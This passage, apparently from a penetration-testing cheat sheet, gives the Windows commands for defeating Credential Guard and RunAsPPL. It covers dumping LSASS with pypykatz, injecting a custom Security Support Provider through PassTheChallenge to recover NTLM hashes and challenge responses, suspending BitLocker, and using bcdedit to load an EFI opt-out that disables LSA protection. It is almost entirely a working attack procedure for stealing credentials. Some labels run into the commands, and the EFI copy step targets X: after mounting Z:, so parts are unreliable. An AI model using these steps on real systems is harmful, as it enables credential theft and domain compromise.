Credential Guard & RunAsPPL
Registering a new Security Support Provider
We can create a new SSP that hooks into LSA and communicates with LSAIso. Use ly4k/PassTheChallenge to obtain NTLMv1 (nthash) or NTLMv2 (challenge) output from Credential Guard-isolated MSV via an injected SSP.
Dump LSASS with the modified version of
pypykatzbashpython3 -m pypykatz lsa minidump lsass.dmp -p msvFor each interesting
== MSV ==block, recordContext Handle,Proxy Info, andEncrypted blob(hex). Format addresses as<ContextHandle>:<ProxyInfo>(same style as the tool examples).Inject the SSP on the live target (still as SYSTEM / equivalent):
powershell.\PassTheChallenge.exe inject # or: .\PassTheChallenge.exe inject 'C:\path\SecurityPackage.dll'Confirm the RPC server:
powershell.\PassTheChallenge.exe pingChoose an output path
NTLMv1-oriented / "NTHASH" line (README
nthash; optional 8-byte server challenge, else default1122334455667788):powershell.\PassTheChallenge.exe nthash <ContextHandle>:<ProxyInfo> <EncryptedBlobHEX>NTLMv2 response (README
challenge; IFCR "pass the challenge" against a real server challenge). Supply the blob and a server-challenge string exactly as the tool expects:<UTF16_HEX_domain>:<UTF16_HEX_username>:<HEX_server_name>:<HEX_server_challenge>powershell.\PassTheChallenge.exe challenge <ContextHandle>:<ProxyInfo> <EncryptedBlobHEX> <UTF16_HEX_domain>:<UTF16_HEX_username>:<HEX_server_name>:<HEX_server_challenge>
Background: Defeating Credential Guard and IFCR Pass-the-Challenge.
Disable LSA protection
If Credential Guard is not running and you want to dump LSASS, deactivate RunAsPPL. If secure boot is enabled, you also have to disable LSA protection (Microsoft docs):
- Check if RunAsPPL is active
Get-WinEvent -LogName System -MaxEvents 500 |
Where-Object { $_.ProviderName -eq 'Microsoft-Windows-Wininit' -and $_.Id -eq 12 } |
Select-Object -First 3 TimeCreated, Message |
Format-List- Suspend BitLocker
Suspend-BitLocker -MountPoint C: -RebootCount 2Download LsaPpl Opt-Out for your architecture.
Mount the EFI partition and copy the opt-out package.
mountvol Z: /s
copy C:\LsaPplConfig.efi X:\EFI\Microsoft\Boot\LsaPplConfig.efi /Y
bcdedit /create {b5ca5172-7d7b-4c9e-9d3b-3d4a4f7d2c10} /d "LsaPpl Opt-Out" /application osloader
bcdedit /set {b5ca5172-7d7b-4c9e-9d3b-3d4a4f7d2c10} path "\EFI\Microsoft\Boot\LsaPplConfig.efi"
bcdedit /set {b5ca5172-7d7b-4c9e-9d3b-3d4a4f7d2c10} device partition=Z:
bcdedit /set {bootmgr} bootsequence {b5ca5172-7d7b-4c9e-9d3b-3d4a4f7d2c10}
mountvol Z: /d